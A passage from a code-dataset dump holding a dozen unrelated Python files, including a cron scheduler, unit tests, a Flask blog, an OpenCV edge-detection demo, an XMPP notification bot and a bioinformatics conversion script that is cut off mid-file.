\"\"\"\n for x in self.active:\n if x.task is task:\n return True\n return False\n\n @asyncio.coroutine\n def run(self):\n \"\"\" Babysit the task scheduling process. \"\"\"\n while True:\n for task in self.tasks:\n if task.ready():\n if not self.args.allow_overlap and self.is_active(task):\n yield from self.notifier.warning('Skipping `%s`' %\n task,\n 'Previous task is '\n 'still active.')\n else:\n yield from self.workers_sem.acquire()\n yield from self.enqueue_task(task)\n try:\n yield from asyncio.wait_for(self.wakeup.wait(), 1)\n except asyncio.TimeoutError:\n pass\n else:\n self.wakeup.clear()\n\n @asyncio.coroutine\n def enqueue_task(self, task):\n \"\"\" Create (and return) the task status and run the task in the\n background. \"\"\"\n context = TaskExecContext(task, self.loop)\n self.active.append(context)\n self.history.appendleft(context)\n f = self.loop.create_task(self.task_runner(context))\n f.add_done_callback(functools.partial(self.on_task_done, context))\n\n @asyncio.coroutine\n def task_runner(self, context):\n \"\"\" Background runner for actually executing the command. \"\"\"\n if self.args.notify_exec:\n yield from self.notifier.info('Starting: `%s`' % context.task,\n footer='Exec #%d' % context.ident)\n yield from context.run_task()\n footer = 'Exec #%d - Duration %s' % (context.ident,\n context.elapsed)\n if context.returncode:\n yield from self.notifier.error('Failed: `%s`' % context.task,\n raw=context.output, footer=footer)\n elif self.args.notify_exec:\n yield from self.notifier.info('Succeeded: `%s`' % context.task,\n raw=context.output, footer=footer)\n for x in context.output.splitlines():\n print('[%s] [job:%d] [exit:%d] %s' % (context.task.cmd,\n context.ident, context.returncode, x))\n\n def on_task_done(self, context, f):\n try:\n f.result()\n except Exception as e:\n traceback.print_exc()\n raise SystemExit(\"Unrecoverable Error: %s\" % e)\n finally:\n self.active.remove(context)\n self.workers_sem.release()\n self.wakeup.set()\n","sub_path":"cronredux/scheduler.py","file_name":"scheduler.py","file_ext":"py","file_size_in_byte":6914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"287510928","text":"\"\"\"testVerifyIDService.py: All the unit test for verify_id_service functions.\"\"\"\n__author__ = \"Girard Alexandre\"\n\nimport unittest\n\nfrom app.test.base import BaseTestCase\n\n# Import all functions to be tested\nfrom app.main.service.verify_id_service import is_id_valid, check_id, alpha_corresponds_to_total\n\n\n# Tests for function 'is_id_valid'\nclass TestIDValidator(BaseTestCase):\n def test_good_id(self):\n \"\"\" Test for checking good id \"\"\"\n good_id1 = \"J123456789\"\n good_id2 = \"Z009999999\"\n self.assertEqual(is_id_valid(good_id1), True)\n self.assertEqual(is_id_valid(good_id2), True)\n\n def test_bad_id(self):\n \"\"\" Test for checking bad id - numbers not corresponding to letter \"\"\"\n bad_id1 = \"A123456789\"\n bad_id2 = \"Z023456789\"\n self.assertEqual(is_id_valid(bad_id1), False)\n self.assertEqual(is_id_valid(bad_id2), False)\n\n def test_id_bad_length(self):\n \"\"\" Test for checking bad length id \"\"\"\n id_too_long = \"A1234567890\"\n id_too_short = \"Z02345678\"\n id_empty = \"\"\n self.assertEqual(is_id_valid(id_too_long), False)\n self.assertEqual(is_id_valid(id_too_short), False)\n self.assertEqual(is_id_valid(id_empty), False)\n\n def test_key_is_not_letter(self):\n \"\"\" Test for checking id with no letter or no number \"\"\"\n id_no_letter = \"0123456789\"\n id_no_number = \"AZERTISKJC\"\n self.assertEqual(is_id_valid(id_no_letter), False)\n self.assertEqual(is_id_valid(id_no_number), False)\n\n def test_key_is_lowercase(self):\n \"\"\" Test for checking id with letter in lowercase \"\"\"\n good_letter_but_lowercase = \"j123456789\"\n bad_letter_lowercase = \"a123456789\"\n self.assertEqual(is_id_valid(good_letter_but_lowercase), False)\n self.assertEqual(is_id_valid(bad_letter_lowercase), False)\n\n def test_id_with_special_char(self):\n \"\"\" Test for checking id with special char \"\"\"\n id_key_special_char = \"é123456789\"\n id_number_special_char = \"J1234567+9\"\n self.assertEqual(is_id_valid(id_key_special_char), False)\n self.assertEqual(is_id_valid(id_number_special_char), False)\n\n def test_id_not_a_string(self):\n \"\"\" Test for checking id with bad var type \"\"\"\n id_integer = 1745896325\n id_dictionary = {\"id\": \"J123456789\"}\n id_list = [\"J123456789\"]\n id_bool = True\n id_null = None\n self.assertEqual(is_id_valid(id_integer), False)\n self.assertEqual(is_id_valid(id_dictionary), False)\n self.assertEqual(is_id_valid(id_list), False)\n self.assertEqual(is_id_valid(id_bool), False)\n self.assertEqual(is_id_valid(id_null), False)\n\n\n# Tests for function 'check_id'\nclass TestIDChecker(BaseTestCase):\n good_response = {\n 'status': 'successfully finished',\n 'request': None,\n 'result': None\n }\n\n bad_response = {\n 'status': 'successfully finished - but input not valid format (1 maj letter and 9 numbers expected)',\n 'request': None,\n 'result': None\n }\n\n def test_good_id(self):\n \"\"\" Test for checking good id \"\"\"\n response = self.good_response\n good_id1 = \"J123456789\"\n good_id2 = \"Z009999999\"\n response[\"result\"] = 1\n response[\"request\"] = good_id1\n self.assertEqual(check_id(good_id1), response)\n response[\"request\"] = good_id2\n self.assertEqual(check_id(good_id2), response)\n\n def test_bad_id(self):\n \"\"\" Test for checking bad id - numbers not corresponding to letter \"\"\"\n response = self.bad_response\n bad_id1 = \"A123456789\"\n bad_id2 = \"Z029999999\"\n response[\"result\"] = 0\n response[\"request\"] = bad_id1\n self.assertEqual(check_id(bad_id1), response)\n response[\"request\"] = bad_id2\n self.assertEqual(check_id(bad_id2), response)\n\n\n# Tests for function 'alpha_corresponds_to_total'\nclass TestAlphaCorrespondsTotal(BaseTestCase):\n def test_alpha_corresponds(self):\n \"\"\" Test for checking alpha who corresponds to total \"\"\"\n self.assertEqual(alpha_corresponds_to_total(\"Z\", 0), True)\n self.assertEqual(alpha_corresponds_to_total(\"B\", 2), True)\n self.assertEqual(alpha_corresponds_to_total(\"J\", 10), True)\n\n def test_alpha_dont_corresponds(self):\n \"\"\" Test for checking alpha who dont corresponds to total \"\"\"\n self.assertEqual(alpha_corresponds_to_total(\"Z\", 4), False)\n self.assertEqual(alpha_corresponds_to_total(\"B\", 9), False)\n self.assertEqual(alpha_corresponds_to_total(\"J\", 0), False)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"app/test/testVerifyIDService.py","file_name":"testVerifyIDService.py","file_ext":"py","file_size_in_byte":4678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"527019965","text":"from scripts import announcements, cafeteria\nimport firebase_admin\nfrom firebase_admin import credentials, firestore\nimport datetime\n\nclass Firewriter:\n\n def __init__(self):\n self.cred = credentials.Certificate('./ServiceAccountKey.json')\n self.default_app = firebase_admin.initialize_app(cred)\n self.db = firestore.client()\n\n def UpdateCafeteria(self): # should run at 5am, 6am, 3pm, 4pm (probably will combine with annoucements later)\n cafeteriaData = cafeteria.main()\n\n document = db.collection(u'generalData').document(u''+datetime.datetime.today().weekday)\n \n document.update({\n u'lunch': cafeteriaData[0],\n u'breakfast': cafeteriaData[1],\n })\n \n def UpdateAnnouncements(self): # should run at 5am, 6am, 3pm, 4pm (probably will combine with cafeteria later)\n announcementData = announcements.main()\n\n document = db.collection(u'generalData').document(u''+datetime.datetime.today().weekday)\n \n document.update({\n u'date': announcementData[0],\n u'birthdays': announcementData[1],\n u'announcements': announcementData[2], # must be an array\n u'time': announcementData[4],\n u'dismissal': announcementData[3],\n })\n \n def UpdateBalance(self, user): # should run for each user at 7am, 10am, 1pm\n document = db.collection(u'users').document(u''+user)\n \n document.update({u'balance': 5})","sub_path":"Back/firewriter.py","file_name":"firewriter.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"626783589","text":"def lighting(light_pos, power, alight):\n for y in range(-power+1,power):\n for x in range(-power+1,power):\n if (\n 0 <= light_pos[1] + y < len(alight) and\n 0 <= light_pos[0] + x < len(alight[y])\n ):\n alight[light_pos[1] + y][light_pos[0] + x] = \"¤\"\n\nn, l = int(input()), int(input())\n\nfield = [input().split() for i in range(n)]\nlighted = [list(\"0\" * n) for _ in range(n)]\n\nfor y, line in enumerate(field):\n for x, elem in enumerate(line):\n if elem == \"C\":\n lighting((x, y), l, lighted)\n\nprint(sum([line.count(\"0\") for line in lighted]))\n","sub_path":"training/easy/lumen/python3.py","file_name":"python3.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"481664627","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Dec 13 20:00:25 2018\r\nhttps://www.bogotobogo.com/python/OpenCV_Python/python_opencv3_Image_Gradient_Sobel_Laplacian_Derivatives_Edge_Detection.php\r\n@author: hao\r\n\"\"\"\r\n\r\nimport cv2\r\nfrom matplotlib import pyplot as plt\r\n\r\n# In[1]: Load and preprocess\r\nimg = cv2.imread('Photo/1.jpg')\r\ngray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\r\n\r\n# remove noise\r\ngray = cv2.GaussianBlur(gray,(3,3),0)\r\n\r\n# In[]\r\n\r\nlaplacian = cv2.Laplacian(gray, cv2.CV_64F)\r\nsobelx = cv2.Sobel(gray, cv2.CV_64F, 2, 0, ksize=5) # x\r\n''' parameter1: image\r\n parameter2: cv2.CV_64F(64 bits float) Depth of output image is passed -1 to get the result in np.uint8 type.\r\n parameter3: X gradient 0: original; 1: 1 order; 2: 2 order\r\n parameter4: Y gradient 0: original; 1: 1 order; 2: 2 order\r\n parameter5: kernel size default 3, '''\r\n \r\n \r\nsobely = cv2.Sobel(gray, cv2.CV_64F, 0, 2, ksize=5) # y\r\n\r\nedges = cv2.Canny(gray, 100, 200)\r\n # edge = cv2.Canny(image, threshold1, threshold2[, edges[, apertureSize[, L2gradient ]]]) \r\n \r\nret, binary = cv2.threshold(gray, 127, 255, 0) # transform into binary \r\nim2, contours, hierarchy = cv2.findContours(binary, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\r\ncv2.drawContours(gray, contours,-1,(0, 0, 255), 3)\r\n \r\nplt.subplot(2,3,1),plt.imshow(img,cmap = 'gray')\r\nplt.title('Original'), plt.xticks([]), plt.yticks([])\r\n\r\nplt.subplot(2,3,2),plt.imshow(sobelx,cmap = 'gray')\r\nplt.title('Sobel X'), plt.xticks([]), plt.yticks([])\r\n\r\nplt.subplot(2,3,3),plt.imshow(sobely,cmap = 'gray')\r\nplt.title('Sobel Y'), plt.xticks([]), plt.yticks([])\r\n\r\nplt.subplot(2,3,4),plt.imshow(laplacian,cmap = 'gray')\r\nplt.title('Laplacian'), plt.xticks([]), plt.yticks([])\r\n\r\nplt.subplot(2,3,5),plt.imshow(edges, cmap = 'gray')\r\nplt.title('Canny'), plt.xticks([]), plt.yticks([])\r\n\r\nplt.subplot(2,3,6),plt.imshow(binary, cmap = 'gray')\r\nplt.title('Contour'), plt.xticks([]), plt.yticks([])\r\n\r\nplt.show()\r\n\r\n# In[]\r\ncv2.imwrite('Results/EdgeDetected.png', edges)\r\n","sub_path":"8. Interfacing Vision Sensors/EdgeDetect.py","file_name":"EdgeDetect.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"99469604","text":"from ethereum.utils import denoms\n\nfrom populus.utils import wait_for_transaction\n\n\ndeploy_contracts = [\n \"Alarm\",\n]\n\n\ndef get_balance_delta(rpc_client, txn_hash):\n coinbase = rpc_client.get_coinbase()\n txn = rpc_client.get_transaction_by_hash(txn_hash)\n before_txn_balance = rpc_client.get_balance(coinbase, int(txn['blockNumber'], 16) - 1)\n after_txn_balance = rpc_client.get_balance(coinbase, txn['blockNumber'])\n\n delta = before_txn_balance - after_txn_balance\n return delta\n\n\ndef test_withdrawing_bond_while_not_in_a_pool(deploy_client, deployed_contracts):\n alarm = deployed_contracts.Alarm\n coinbase = deploy_client.get_coinbase()\n block_reward = 10000000000000000000\n\n assert alarm.getBondBalance.call(coinbase) == 0\n\n txn_1_hash = alarm.depositBond.sendTransaction(value=1000 * denoms.ether)\n wait_for_transaction(deploy_client, txn_1_hash)\n\n txn_1_delta = get_balance_delta(deploy_client, txn_1_hash)\n\n assert txn_1_delta == 1000 * denoms.ether - block_reward\n assert alarm.getBondBalance.call(coinbase) == 1000 * denoms.ether\n\n txn_2_hash = alarm.withdrawBond.sendTransaction(250 * denoms.ether)\n wait_for_transaction(deploy_client, txn_2_hash)\n\n txn_2_delta = get_balance_delta(deploy_client, txn_2_hash)\n\n assert txn_2_delta == -1 * 250 * denoms.ether - block_reward\n\n assert alarm.getBondBalance.call(coinbase) == 750 * denoms.ether\n\n txn_3_hash = alarm.withdrawBond.sendTransaction(500 * denoms.ether)\n wait_for_transaction(deploy_client, txn_3_hash)\n\n txn_3_delta = get_balance_delta(deploy_client, txn_3_hash)\n\n assert txn_3_delta == -1 * 500 * denoms.ether - block_reward\n\n assert alarm.getBondBalance.call(coinbase) == 250 * denoms.ether\n","sub_path":"tests/bonding/test_withdrawing_bond_when_not_in_a_pool.py","file_name":"test_withdrawing_bond_when_not_in_a_pool.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"503676394","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def swapPairs(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n node = index = ListNode(0)\n index.next = head\n while index and index.next and index.next.next:\n i = index.next\n j = index.next.next\n i.next = j.next\n j.next = i\n index.next = j\n index = i\n return node.next\n\n\n# recursive\nclass Solution(object):\n def swapPairs(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n if not head or not head.next:\n return head\n n = head.next\n head.next = self.swapPairs(head.next.next)\n n.next = head\n return n\n","sub_path":"leetcode/24_Swap Nodes in Pairs.py","file_name":"24_Swap Nodes in Pairs.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"533769401","text":"from flask import (render_template, url_for, flash,\n redirect, request, abort, Blueprint, jsonify)\nfrom flask_login import current_user, login_required\nfrom flaskblog import db\nfrom flaskblog.models import Post, User\nfrom flaskblog.posts.forms import PostForm\nfrom random import randint\n\nposts = Blueprint('posts', __name__)\n\n\n@posts.route(\"/post/new\", methods=['GET', 'POST'])\n@login_required\ndef new_post():\n form = PostForm()\n if form.validate_on_submit():\n post = Post(title=form.title.data, content=form.content.data, author=current_user)\n db.session.add(post)\n db.session.commit()\n flash('Your post has been created!', 'success')\n return redirect(url_for('main.home'))\n return render_template('create_post.html', title='New Post',\n form=form, legend='New Post')\n\n\n@posts.route(\"/post/\")\n@login_required\ndef post(post_id):\n post = Post.query.get_or_404(post_id)\n if current_user.username not in post.usernames.split(','):\n post.total_views += 1\n post.usernames += current_user.username + ','\n #post.current_views += 1\n current_user.current_url = \"/post/\" + str(post_id)\n db.session.commit()\n current_view = 100\n return render_template('post.html', title=post.title, post=post, total_views = post.total_views, current_views= current_view)\n\n\n@posts.route(\"/update_views/\", methods=['POST'])\ndef update_views(post_id):\n current_views = db.session.query(User).filter(User.current_url==\"/post/\" + str(post_id)).count()\n return jsonify({'status': 'success', 'current_views': current_views})\n\n\n@posts.route(\"/post//update\", methods=['GET', 'POST'])\n@login_required\ndef update_post(post_id):\n post = Post.query.get_or_404(post_id)\n if post.author != current_user:\n abort(403)\n form = PostForm()\n if form.validate_on_submit():\n post.title = form.title.data\n post.content = form.content.data\n db.session.commit()\n flash('Your post has been updated!', 'success')\n return redirect(url_for('posts.post', post_id=post.id))\n elif request.method == 'GET':\n form.title.data = post.title\n form.content.data = post.content\n return render_template('create_post.html', title='Update Post',\n form=form, legend='Update Post')\n\n\n@posts.route(\"/post//delete\", methods=['POST'])\n@login_required\ndef delete_post(post_id):\n post = Post.query.get_or_404(post_id)\n if post.author != current_user:\n abort(403)\n db.session.delete(post)\n db.session.commit()\n flash('Your post has been deleted!', 'success')\n return redirect(url_for('main.home'))\n","sub_path":"flaskblog/posts/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"172779166","text":"'''\nUse Basemap to plot an interactive geo-tagged scrap book\n'''\n\ndef makeamap(filename):\n from mpl_toolkits.basemap import Basemap # needed pyproh, basemap and pillow + others?\n import numpy as np\n import matplotlib.pyplot as plt\n from matplotlib.offsetbox import OffsetImage, AnnotationBbox\n import matplotlib.image as mpimg\n from datetime import datetime\n import copy\n import json\n import os\n\n ''' SETUP THE MAP '''\n # create new figure, axes instances\n fig = plt.figure(dpi=150)\n ax = fig.add_axes([0.1,0.1,0.8,0.8])\n # setup mercator map projection\n map = Basemap(projection='merc',llcrnrlat=-58,urcrnrlat=80,\n llcrnrlon=-180,urcrnrlon=180,resolution='c')\n\n ''' GET THE DATA '''\n with open(filename, \"r\") as read_file: #### THIS IS HOW YOU READ ####\n data = json.load(read_file)\n\n days = []\n lons = []\n lats = []\n dirs = []\n coms = []\n for name in data.keys():\n days.append(data[name]['day'])\n lons.append(data[name]['lon'])\n lats.append(data[name]['lat'])\n dirs.append(data[name]['dir'])\n coms.append(data[name]['com'])\n\n x,y = map(lons, lats)\n line, = map.plot(x, y, 'bo')\n\n ''' DRAW THE MAP '''\n map.drawcoastlines(linewidth=0.50)\n map.fillcontinents()\n map.drawmapboundary()\n map.drawcountries()\n\n # create the annotations box\n pic = mpimg.imread('pics\\\\profpic.png') # just to set up variables, will change later\n im = OffsetImage(pic)\n xybox=(50., 50.)\n ab = AnnotationBbox(im, (0,0), xybox=xybox, xycoords='data',\n boxcoords=\"offset points\", pad=0.3, arrowprops=dict(arrowstyle=\"->\"))\n # add it to the axes and make it invisible\n ax.add_artist(ab)\n ab.set_visible(False)\n\n # Declare and register callbacks for zoom control\n def on_lims_change(axes):\n xrange = abs(ax.get_xlim()[1] - ax.get_xlim()[0])\n yrange = abs(ax.get_xlim()[1] - ax.get_xlim()[0])\n print('max range: {}'.format(max(xrange,yrange)))\n if max(xrange,yrange) < 1E7 and max(xrange,yrange) > 1E6: # 'l' = low\n map.resolution = 'l'\n map.drawstates()\n elif max(xrange,yrange) < 1E6 and max(xrange,yrange) > 5E5: # 'i' = intermeditate\n map.resolution = 'i'\n map.drawstates()\n elif max(xrange,yrange) < 5E5 and max(xrange,yrange) > 1E5: # 'h' = high\n map.resolution = 'h'\n map.drawstates()\n elif max(xrange,yrange) < 1E5: # 'f' = full\n map.resolution = 'f'\n map.drawstates()\n else: # 'c' = coarse\n map.resolution = 'c'\n print(map.resolution)\n map.drawcoastlines(linewidth=0.50)\n map.fillcontinents()\n map.drawmapboundary()\n\n ax.callbacks.connect('xlim_changed', on_lims_change)\n #ax.callbacks.connect('ylim_changed', on_lims_change)\n\n def onclick(event): # if you click on a data point\n if line.contains(event)[0]:\n # find out the index within the array from the event\n try:\n ind, = line.contains(event)[1][\"ind\"]\n except ValueError:\n print('Please zoom in!')\n else:\n # get the figure size\n w,h = fig.get_size_inches()*fig.dpi\n ws = (event.x > w/2.)*-1 + (event.x <= w/2.)\n hs = (event.y > h/2.)*-1 + (event.y <= h/2.)\n # if event occurs in the top or right quadrant of the figure,\n # change the annotation box position relative to mouse.\n ab.xybox = (xybox[0]*ws, xybox[1]*hs)\n # make annotation box visible\n ab.set_visible(True)\n # place it at the position of the hovered scatter point\n ab.xy = (x[ind], y[ind])\n # set the image corresponding to that point\n dir = dirs[ind]\n im.set_data(mpimg.imread(dir))\n # change zoom of the image to deal with different file sizes\n picsize = max(mpimg.imread(dir).shape)\n im.set_zoom(0.2*(1000/picsize)) # optimum: zoom = 0.2, picsize = 1000\n else:\n #if you didn't click on a data point\n ab.set_visible(False)\n fig.canvas.draw_idle()\n\n # add callback for mouse clicks\n fig.canvas.mpl_connect('button_press_event', onclick)\n\n plt.show()\n","sub_path":"our-map/omplot.py","file_name":"omplot.py","file_ext":"py","file_size_in_byte":4411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"647970954","text":"import requests\nimport json\n\ncert = None # 'charles-ssl-proxying-certificate.pem'\n\n\n# URLs ------------------------------------------\n\n\ndef create_url(scheme, host, path, query={}):\n filtered_query = {}\n for (key, val) in query.items():\n if isinstance(val, str):\n filtered_query[key] = val\n elif isinstance(val, bool):\n if val == True:\n filtered_query[key] = \"true\"\n else:\n filtered_query[key] = \"false\"\n elif val:\n filtered_query[key] = str(val)\n query_args = [\"{}={}\".format(key, val) for (key, val) in filtered_query.items()]\n query_string = \"&\".join(query_args)\n url = \"{}://{}{}?{}\".format(scheme, host, path, query_string)\n # print(url)\n return url\n\n\n# Headers ---------------------------------------\n\n\ndef create_headers(token=None):\n headers = {}\n if token is not None:\n headers[\"Authorization\"] = \"Bearer {}\".format(token)\n return headers\n\n\n# Responses -------------------------------------\n\n\ndef format_json(data):\n return json.dumps(data, sort_keys=False)\n\n\n# Requests -------------------------------------\n\n\ndef handle_http_errors(response):\n # Adapted from `raise_for_status()` in the `requests` library:\n if 400 <= response.status_code < 600:\n status = response.status_code\n\n if isinstance(response.reason, bytes):\n try:\n reason = response.reason.decode(\"utf-8\")\n except UnicodeDecodeError:\n reason = response.reason.decode(\"iso-8859-1\")\n else:\n reason = response.reason\n\n msg = \"Server returned {} {}\".format(status, reason)\n\n raise requests.HTTPError(msg, response=response)\n\n\ndef get(url, auth, headers):\n response = requests.get(url, headers=headers, auth=auth, verify=cert)\n handle_http_errors(response)\n return response\n\n\ndef post(url, auth, headers, payload):\n response = requests.post(\n url, headers=headers, auth=auth, verify=cert, data=json.dumps(payload)\n )\n handle_http_errors(response)\n return response\n\n\ndef put(url, auth, headers, payload):\n response = requests.put(\n url, headers=headers, auth=auth, verify=cert, data=json.dumps(payload)\n )\n handle_http_errors(response)\n return response\n\n\ndef basic_auth(email, password):\n return requests.auth.HTTPBasicAuth(email, password)\n","sub_path":"cartographer/fetch.py","file_name":"fetch.py","file_ext":"py","file_size_in_byte":2396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"263222819","text":"from ftrackplugin import ftrackConnector\nfrom PySide import QtGui\n\nfrom ftrackplugin.ftrackWidgets.WebViewWidget import WebViewWidget\nfrom ftrackplugin.ftrackWidgets.HeaderWidget import HeaderWidget\n\nimport ftrack\n\n\nclass ftrackTasksQt(QtGui.QDialog):\n def __init__(self, parent=None):\n if not parent:\n self.parent = ftrackConnector.Connector.getMainWindow()\n super(ftrackTasksQt, self).__init__(self.parent)\n self.setSizePolicy(QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding))\n self.setMinimumWidth(500)\n self.centralwidget = QtGui.QWidget(self)\n self.verticalMainLayout = QtGui.QVBoxLayout(self)\n self.horizontalLayout = QtGui.QHBoxLayout()\n\n self.headerWidget = HeaderWidget(self)\n self.headerWidget.setTitle('Tasks')\n self.verticalMainLayout.addWidget(self.headerWidget)\n\n self.tasksWidget = WebViewWidget(self)\n \n url = ftrack.getWebWidgetUrl('tasks', theme='tf')\n \n self.tasksWidget.setUrl(url)\n self.horizontalLayout.addWidget(self.tasksWidget)\n self.verticalMainLayout.addLayout(self.horizontalLayout)\n\n self.setObjectName('ftrackTasks')\n self.setWindowTitle(\"ftrackTasks\")\n\n\nclass ftrackTasksDialog(ftrackConnector.Dialog):\n def __init__(self):\n super(ftrackTasksDialog, self).__init__()\n self.dockName = 'ftrackTasks'\n self.panelWidth = 500\n\n def initGui(self):\n return ftrackTasksQt\n\n @staticmethod\n def category():\n return 'info'\n \n @staticmethod\n def accepts():\n return ['maya']\n","sub_path":"windows/ftrack-connect-package/resource/legacy_plugins/ftrackplugin/ftrackDialogs/ftrackTasksDialog.py","file_name":"ftrackTasksDialog.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"432489764","text":"\"\"\"SovBot: An Eve bot that spams notifications from the Eve API\"\"\"\n\nimport logging\nimport settings\nfrom notification_set import NotificationSet\nfrom twisted.python import log\nfrom twisted.internet import reactor\nfrom twisted.internet.defer import Deferred\nfrom twisted.internet import task\nfrom twisted.words.protocols.jabber.jid import JID\nfrom wokkel.client import XMPPClient\nfrom wokkel.muc import MUCClient\n\n\n\nTHIS_JID = JID(settings.jid)\nROOM_JID = JID(settings.room)\nNICKNAME = settings.nickname\nPASSWORD = settings.password\nLOG_TRAFFIC = settings.log_traffic\nTASK_INTERVAL = settings.task_interval\nKEY_ID = settings.keyid\nVCODE = settings.vcode\nSELECTED_TYPES = settings.selected_types\n\n\nclass SovBot(MUCClient):\n \"\"\"Joins a room and announces selected notifications every 30 minutes.\"\"\"\n\n def __init__(self, room_jid, nick):\n MUCClient.__init__(self)\n self.room_jid = room_jid\n self.nick = nick\n self.looping_task = task.LoopingCall(self.notifications_task)\n\n def connectionInitialized(self):\n \"\"\"Once authorized, join the room.\"\"\"\n log.msg(\"Connected...\")\n\n def joinedRoom(room):\n if room.locked:\n log.msg(\"Room was locked, using default configuration...\")\n # The room will be locked if it didn't exist before we joined it.\n # Just accept the default configuration. The room will be public and temporary.\n return self.configure(room.roomJID, {})\n\n MUCClient.connectionInitialized(self)\n self.join(self.room_jid, self.nick)\n log.msg(\"Joining {}...\".format(self.room_jid))\n log.msg(\"Start looping task with {} second interval...\".format(TASK_INTERVAL))\n self.looping_task.start(TASK_INTERVAL)\n\n def receivedGroupChat(self, room, user, message):\n \"\"\"Handle received groupchat messages.\"\"\"\n # handle force-check here\n pass\n\n def notifications_task(self):\n \"\"\"This function defines the task which reports notifications from the Eve API every TASK_INTERVAL seconds.\"\"\"\n log.msg(\"Starting notifications task...\")\n notification_set = NotificationSet(SELECTED_TYPES, KEY_ID, VCODE)\n d = Deferred()\n d.addCallback(self._get_headers)\n d.addCallback(self._get_texts)\n d.addCallback(self._build_notifications)\n d.addCallback(self._fetch_names)\n d.addCallback(self._send_messages)\n d.addCallback(self._log_success)\n d.addErrback(self._log_exceptions)\n d.callback(notification_set)\n\n def _get_headers(self, notification_set):\n log.msg(\"Fetching headers from API...\")\n notification_set.get_headers_xml()\n return notification_set\n\n def _get_texts(self, notification_set):\n log.msg(\"Fetching texts from API...\")\n notification_set.get_texts_xml()\n return notification_set\n\n def _build_notifications(self, notification_set):\n log.msg(\"Building notifications...\")\n notification_set.build_notifications()\n return notification_set\n\n def _fetch_names(selfself, notification_set):\n log.msg(\"Fetching character names...\")\n notification_set.fetch_character_names()\n return notification_set\n\n def _send_messages(self, notification_set):\n log.msg(\"Sending notification messages...\")\n for message in reversed(notification_set.get_messages()):\n body = message\n self.groupChat(self.room_jid, body)\n return notification_set\n\n def _log_success(self, notification_set):\n log.msg(\"Task finished successfully.\")\n return True\n\n def _log_exceptions(self, failure):\n log.msg(\"Exception:{}\".format(failure.getErrorMessage()))\n log.msg(\"Traceback:{}\".format(failure.getTraceback()))\n body = \"Is it just me, or is the internet on fire?\"\n self.groupChat(self.room_jid, body)\n\n\nif __name__ == \"__main__\":\n # set up logging.\n FORMAT = '%(asctime)s :: %(message)s'\n logging.basicConfig(filename='sovbot.log', format=FORMAT, level=logging.INFO)\n observer = log.PythonLoggingObserver(loggerName='sovbot')\n observer.start()\n\n # set up client.\n client = XMPPClient(THIS_JID, PASSWORD)\n client.logTraffic = LOG_TRAFFIC\n mucHandler = SovBot(ROOM_JID, NICKNAME)\n mucHandler.setHandlerParent(client)\n client.startService()\n reactor.run()\n","sub_path":"sovbot.py","file_name":"sovbot.py","file_ext":"py","file_size_in_byte":4393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"542549751","text":"import logging\nimport sys\n\nhandler = logging.StreamHandler(sys.stdout)\nhandler.setFormatter(logging.Formatter(\"%(asctime)s %(message)s\"))\nhandler.setLevel(logging.INFO)\n\nLOGGER = logging.getLogger(__name__)\nLOGGER.addHandler(handler)\nLOGGER.setLevel(logging.INFO)\n\nSERVER_ADDRESS = \"localhost:8990\"\nROW_COUNT = 20\nUSE_BOARD = None\n\nBANNER = f\"\"\"\n\n*************************************************\n\n Start Gatekeeper GRPC Server @ {SERVER_ADDRESS}\n\n*************************************************\n\"\"\"\n","sub_path":"gatekeeper_grpc/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"555392367","text":"import os\nimport sys\nimport argparse\n\ndef get_coordinates(start, length_aln, strand, total_length):\n end = int(start) + int(length_aln) - 1\n if strand == \"-\":\n start_new = int(total_length) - end - 1 \n end_new = int(total_length) - int(start) - 1\n return start_new, end_new\n else:\n return start, end\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Make bed file for reads from PBSIM maf files\")\n parser.add_argument(\"-maf\",\"--maf_file\",help=\"PBSIM maf file of reads alignment to the genome\", required=True)\n parser.add_argument(\"-out\",\"--out_file\", help=\"output BED file for gene bed file (Please sort this bed file later)\", required=True)\n args = parser.parse_args()\n\n #Read the maf file \n block_start=False\n ref_read=False\n linetoprint = []\n fw = open(args.out_file, \"w\")\n with open(args.maf_file) as f:\n for i, line in enumerate(f):\n if line.startswith('a'):\n block_start = True\n elif line.startswith('s'):\n val = line.strip().split()\n #print val\n start, end = get_coordinates(val[2], val[3], val[4], val[5])\n if ref_read == False:\n ref_read = True\n linetoprint = [val[1], '\\t', start, '\\t', end, '\\t', 